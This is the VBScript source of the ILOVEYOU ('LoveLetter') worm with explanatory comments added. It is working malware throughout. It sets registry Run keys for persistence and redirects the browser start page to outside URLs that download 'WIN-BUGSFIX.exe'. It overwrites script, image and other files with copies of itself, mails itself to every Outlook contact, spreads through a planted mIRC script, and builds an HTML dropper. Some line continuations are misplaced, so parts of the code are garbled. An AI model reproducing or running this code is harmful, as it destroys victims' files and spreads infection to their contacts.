Загрузка данных
On Error Resume Next
' setup global variables to be used throughout subroutines and functions
Dim fso, dirsystem, dirwin, dirtemp, eq, ctr, file, vbscopy, dow
eq = ""
ctr = 0
' open the current script file and define "vbscopy" which can be used to
' read its own contents. Used to replicate itself in other files
Set fso = CreateObject("Scripting.FileSystemObject")
Set file = fso.OpenTextFile(WScript.ScriptFullname, 1)
vbscopy = file.ReadAll
main()
' subroutine to initialize the program
Sub main()
On Error Resume Next
Dim wscr, rr
' creates a shell which will be used to read the registry
Set wscr = CreateObject("WScript.Shell")
' gets a registry key which indicates the scripting time-out from windows
rr = wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout")
' checks if the current timeout is more than 0
If (rr >= 1) Then
' sets the timeout to 0, effectively making it so that the script won't
' time out, in case the system happens to be too slow to execute it
wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout", 0, "REG_DWORD"
End If
' finds special folders, such as system, temporary, and windows folders
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set c = fso.GetFile(WScript.ScriptFullName)
' copy itself into VBScript files MSKernel32.vbs, Win32DLL.vbs, and LOVE-LETTER-FOR-YOU.TXT.vbs
c.Copy(dirsystem & "\MSKernel32.vbs")
c.Copy(dirwin & "\Win32DLL.vbs")
c.Copy(dirsystem & "\LOVE-LETTER-FOR-YOU.TXT.vbs")
' call the other subroutines
regruns()
html()
spreadtoemail()
listadriv()
End Sub
' subroutine to create and update special registry values
Sub regruns()
On Error Resume Next
Dim num, downread
' set the system to automatically run MSKernel32.vbs and Win32DLL.vbs on startup
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32", dirsystem & "\MSKernel32.vbs"
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Win32DLL", dirwin & "\Win32DLL.vbs"
' get Internet Explorer's download directory
downread = ""
downread = regget("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Download Directory")
' if the directory wasn't found, then use C:\ drive as the download directory
If (downread = "") Then
downread = "c:\"
End If
' check if a file named "WinFAT32.exe" exists in the system files
If (fileexist(dirsystem & "\WinFAT32.exe") = 1) Then
Randomize
' generate a random number from 1 to 4
num = Int((4 * Rnd) + 1)
' randomly update the internet explorer's start page that leads to a
' page that will download a malicious executable "WIN-BUGSFIX.exe"
If num = 1 Then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\StartPage", "http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnjw6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe"
ElseIf num = 2 Then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\StartPage", "http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"
ElseIf num = 3 Then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\StartPage", "http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnmPOhfgER67b3Vbvg/WIN-BUGSFIX.exe"
ElseIf num = 4 Then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\StartPage", "http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkhYUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX.exe"
End If
End If
' check if the "WIN-BUGSFIX.exe" file exists in the download directory
If (fileexist(downread & "\WIN-BUGSFIX.exe") = 0) Then
' add WIN-BUGSFIX.exe to run on startup
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGSFIX", downread & "\WIN-BUGSFIX.exe"
' update internet explorer's start page to "about:blank"
regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\StartPage", "about:blank"
End If
End Sub
' subroutine to list folders in drives
Sub listadriv()
On Error Resume Next
Dim d, dc, s
Set dc = fso.Drives
For Each d In dc
If (d.DriveType = 2) Or (d.DriveType = 3) Then
folderlist(d.path & "\")
End If
Next
listadriv = s
End Sub
' subroutine infect other files, by copying itself into them as well
' as creating a malicious mIRC script
Sub infectfiles(folderspec)
On Error Resume Next
Dim f, f1, fc, ext, ap, mircfname, s, bname, mp3
Set f = fso.GetFolder(folderspec)
Set fc = f.Files
For Each f1 In fc
ext = fso.GetExtensionName(f1.path)
ext = lcase(ext)
s = lcase(f1.name)
' copies itself into every file with vbs/vbe extension
If (ext = "vbs") Or (ext = "vbe") Then
Set ap = fso.OpenTextFile(f1.path, 2, true)
ap.write vbscopy
ap.close
' copies itself into every file with js/jse/css/wsh/sct/hta extension
' and creates a copy of the file with the .vbs extension
ElseIf (ext = "js")
Or (ext = "jse")
Or (ext = "css")
Or (ext = "wsh")
Or (ext = "sct")
Or (ext = "hta")
Then
Set ap = fso.OpenTextFile(f1.path, 2, true)
ap.write vbscopy
ap.close
bname = fso.GetBaseName(f1.path)
Set cop = fso.GetFile(f1.path)
cop.copy(folderspec & "\" & bname & ".vbs")
fso.DeleteFile(f1.path)
' copies itself into every file with jpg/jpeg extension
' and creates a copy of the file with the .vbs extension
ElseIf (ext = "jpg") Or (ext = "jpeg") Then
' copies itself
Set ap = fso.OpenTextFile(f1.path, 2, true)
ap.write vbscopy
ap.close
Set cop = fso.GetFile(f1.path)
cop.copy(f1.path & ".vbs")
fso.DeleteFile(f1.path)
' copies itself into every file with mp3/mp2 extension
ElseIf (ext = "mp3") Or (ext = "mp2") Then
Set mp3 = fso.CreateTextFile(f1.path & ".vbs")
mp3.write vbscopy
mp3.close
Set att = fso.GetFile(f1.path)
' sets file attributes to make the file hidden
' normal files have the attribute set to 0 so adding 2 to it,
' will set the attributes to hidden
att.attributes = att.attributes + 2
End If
' checks if the folder has already been infected, if not it will continue
' to infect the files
If (eq <> folderspec) Then
' looks for mIRC and related files to determine whether it
' should create/replace its script.ini with a malicious script
If (s = "mirc32.exe")
Or (s = "mlink32.exe")
Or (s = "mirc.ini")
Or (s = "script.ini")
Or (s = "mirc.hlp")
Then
Set scriptini = fso.CreateTextFile(folderspec & "\script.ini")
' the following mIRC script checks if the "nick" of a user is the same
' as "me" to halt and send a DCC command that will send a message to
' the user with a link to the LOVE=LETTER-FOR-YOU html page on the
' system
scriptini.WriteLine "[script]"
scriptini.WriteLine ";mIRC Script"
scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt, If mIRC will"
scriptini.WriteLine " corrupt... WINDOWS will affect and will not run correctly. thanks"
scriptini.WriteLine ";"
scriptini.WriteLine ";Khaled Mardam-Bey"
scriptini.WriteLine ";http://www.mirc.com"
scriptini.WriteLine ";"
scriptini.WriteLine "n0=on 1:JOIN:#:{"
scriptini.WriteLine "n1= /If ( $nick == $me ) { halt }"
scriptini.WriteLine "n2= /.dcc send $nick" & dirsystem & "\LOVE-LETTER-FOR-YOU.HTM"
scriptini.WriteLine "n3=}"
scriptini.close
eq = folderspec
End If
End If
Next
End Sub
' subroutine used to get file listing of a folder
Sub folderlist(folderspec)
On Error Resume Next
Dim f, f1, sf
Set f = fso.GetFolder(folderspec)
Set sf = f.SubFolders
' iterates over each subfolder from the given top-level folder and
' recursively infect files
For Each f1 In sf
infectfiles(f1.path)
folderlist(f1.path)
Next
End Sub
' subroutine used to create/write registry entries
Sub regcreate(regkey,regvalue)
Set regedit = CreateObject("WScript.Shell")
regedit.RegWrite regkey, regvalue
End Sub
' subroutine used to get registry entries
Function regget(value)
Set regedit = CreateObject("WScript.Shell")
regget = regedit.RegRead(value)
End Function
' function to check if a file exists
Function fileexist(filespec)
On Error Resume Next
Dim msg
If (fso.FileExists(filespec)) Then
msg = 0
Else
msg = 1
End If
fileexist = msg
End Function
' function to check if a folder exists
Function folderexist(folderspec)
On Error Resume Next
Dim msg
If (fso.GetFolderExists(folderspec)) Then
msg = 0
Else
msg = 1
End If
fileexist = msg
End Function
' subroutine to send emails to the user's contacts through MAPI
' (Messaging Application Programming Interface), the API used by Outlook to
' communicate with the Microsoft Exchange Server which also hosts calendars
' and address book
Sub spreadtoemail()
On Error Resume Next
Dim x, a, ctrlists, ctrentries, malead, b, regedit, regv, regad
' creates a shell to edit the registry
Set regedit = CreateObject("WScript.Shell")
' creates a new Outlook application object instance, to access the MAPI
Set out = WScript.CreateObject("Outlook.Application")
' gets the MAPI namespace used to access the address book lists
Set mapi = out.GetNameSpace("MAPI")
' goes through all contacts in the address book and sends an email
' with the LOVE-LETTER-FOR-YOU program as an attachment
For ctrlists = 1 To mapi.AddressLists.Count
Set a = mapi.AddressLists(ctrlists)
x = 1
' gets a registry key that is used to check who has been sent an email,
' already to ensure that even if there may be duplicate contacts, it will
' only send the email once to the same address
regv = regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\" & a)
If (regv = "") Then
regv = 1
End If
If (int(a.AddressEntries.Count) > int(regv)) Then
' iterates over each entry in the address list
For ctrentries = 1 To a.AddressEntries.Count
malead = a.AddressEntries(x)
regad = ""
regad = regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\" & malead )
' if the contact hasn't yet been sent an email, a new email will be
' composed with the virus attached and a "kind" message and the
' subject "ILOVEYOU"
If (regad = "") Then
Set male = out.CreateItem(0)
male.Recipients.Add(malead)
male.Subject = "ILOVEYOU"
male.Body = vbcrlf & "kindly check the attached LOVELETTER coming from me."
male.Attachments.Add(dirsystem & "\LOVE-LETTER-FOR-YOU.TXT.vbs")
male.Send
' sets the registry key to indicate that the email has been sent
' to the current contact
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\" & malead, 1, "REG_DWORD"
End If
x = x + 1
Next
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\" & a, a.AddressEntries.Count
Else
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\" & a, a.AddressEntries.Count
End If
Next
Set out = Nothing
Set mapi = Nothing
End Sub
' subroutine to generate and create the HTML file for LOVE-LETTER-FOR-YOU.HTM
Sub html
On Error Resume Next
Dim lines, n, dta1, dta2, dt1, dt2, dt3, dt4, l1, dt5, dt6
' generates an HTML page which contains a JScript and VBScript to replicate
' itself by leveraging ActiveX. It also listens for mouse and key events,
' which will open additional windows of the same page
dta1 = "<HTML><HEAD><TITLE>LOVELETTER - HTML<?-?TITLE><META NAME=@-@Generator@-@ CONTENT=@-@BAROK VBS - LOVELETTER@-@>"
& vbcrlf & _ "<META NAME=@-@Author@-@ CONTENT=@-@spyder ?-? ispyder@mail.com ?-? @GRAMMERSoft Group ?-? Manila, Philippines ?-? March 2000@-@>"
& vbcrlf & _ "<META NAME=@-@Description@-@ CONTENT=@-@simple but i think this is good...@-@>"
& vbcrlf & _ "<?-?HEAD><BODY ONMOUSEOUT=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#-#,#-#main#-#)@-@ "
& vbcrlf & _ "ONKEYDOWN=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#-#,#-#main#-#)@-@ BGPROPERTIES=@-@fixed@-@ BGCOLOR=@-@#FF9933@-@>"
& vbcrlf & _ "<CENTER><p>This HTML file need ActiveX Control<?-?p><p>To Enable to read this HTML file<BR>- Please press #-#YES#-# button to Enable ActiveX<?-?p>"
& vbcrlf & _ "<?-?CENTER><MARQUEE LOOP=@-@infinite@-@ BGCOLOR=@-@yellow@-@>----------z--------------------z----------<?-?MARQUEE>"
& vbcrlf & _ "<?-?BODY><?-?HTML>"
& vbcrlf & _ "<SCRIPT language=@-@JScript@-@>"
& vbcrlf & _ "<!--?-??-?"
& vbcrlf & _ "If (window.screen){var wi=screen.availWidth;var hi=screen.availHeight;window.moveTo(0,0);window.resizeTo(wi,hi);}"
& vbcrlf & _ "?-??-?-->"
& vbcrlf & _ "<?-?SCRIPT>"
& vbcrlf & _ "<SCRIPT LANGUAGE=@-@VBScript@-@>"
& vbcrlf & _ "<!--"
& vbcrlf & _ "on error resume next"
& vbcrlf & _ "Dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit"
& vbcrlf & _ "aw=1"
& vbcrlf & _ "code="
dta2 = "Set fso=CreateObject(@-@Scripting.FileSystemObject@-@)"
& vbcrlf & _ "Set dirsystem=fso.GetSpecialFolder(1)"
& vbcrlf & _ "code2=replace(code,chr(91)&chr(45)&chr(91),chr(39))"
& vbcrlf & _ "code3=replace(code2,chr(93)&chr(45)&chr(93),chr(34))"
& vbcrlf & _ "code4=replace(code3,chr(37)&chr(45)&chr(37),chr(92))"
& vbcrlf & _ "set wri=fso.CreateTextFile(dirsystem&@-@^-^MSKernel32.vbs@-@)"
& vbcrlf & _ "wri.write code4"
& vbcrlf & _ "wri.close"
& vbcrlf & _ "If (fso.FileExists(dirsystem&@-@^-^MSKernel32.vbs@-@)) Then"
& vbcrlf & _ "If (err.number=424) Then"
& vbcrlf & _ "aw=0"
& vbcrlf & _ "End If"
& vbcrlf & _ "If (aw=1) Then"
& vbcrlf & _ "document.write @-@ERROR: can#-#t initialize ActiveX@-@"
& vbcrlf & _ "window.close"
& vbcrlf & _ "End If"
& vbcrlf & _ "End If"
& vbcrlf & _ "Set regedit = CreateObject(@-@WScript.Shell@-@)"
& vbcrlf & _ "regedit.RegWrite@-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windows^-^CurrentVersion^-^Run^-^MSKernel32@-@,dirsystem&@-@^-^MSKernel32.vbs@-@"
& vbcrlf & _ "?-??-?-->"
& vbcrlf & _ "<?-?SCRIPT>"
' replaces encoded characters from the above document to form a valid
' document that can be correctly opened and executed in the browser
dt1 = replace(dta1, chr(35) & chr(45) & chr(35), "'")
dt1 = replace(dt1, chr(64) & chr(45) & chr(64), """")
dt4 = replace(dt1, chr(63) & chr(45) & chr(63), "/")
dt5 = replace(dt4, chr(94) & chr(45) & chr(94), "\")
dt2 = replace(dta2, chr(35) & chr(45) & chr(35), "'")
dt2 = replace(dt2, chr(64) & chr(45) & chr(64), """")
dt3 = replace(dt2, chr(63) & chr(45) & chr(63), "/")
dt6 = replace(dt3, chr(94) & chr(45) & chr(94), "\")
' opens a new file system object, which is used to read this specific
' script file, that will then be injected into the HTM document
Set fso = CreateObject("Scripting.FileSystemObject")
Set c = fso.OpenTextFile(WScript.ScriptFullName, 1)
lines = Split(c.ReadAll,vbcrlf)
l1 = ubound(lines)
' encodes all special characters of the script's HTM, as this script
' will be injected into the HTM file and executed
For n = 0 to ubound(lines)
lines(n) = replace(lines(n), "'", chr(91) + chr(45) + chr(91))
lines(n) = replace(lines(n), """", chr(93) + chr(45) + chr(93))
lines(n) = replace(lines(n), "\", chr(37) + chr(45) + chr(37))
If (l1 = n) Then
lines(n) = chr(34) + lines(n) + chr(34)
Else
lines(n) = chr(34) + lines(n) + chr(34) & " & vbcrlf & _"
End If
Next
' create the LOVE-LETTER-FOR-YOU.HTM file in the system directory
Set b = fso.CreateTextFile(dirsystem + "\LOVE-LETTER-FOR-YOU.HTM")
b.close
' creates the HTM file from everything above
Set d = fso.OpenTextFile(dirsystem + "\LOVE-LETTER-FOR-YOU.HTM", 2)
d.write dt5
d.write join(lines, vbcrlf)
d.write vbcrlf
d.write dt6
d.close
End Sub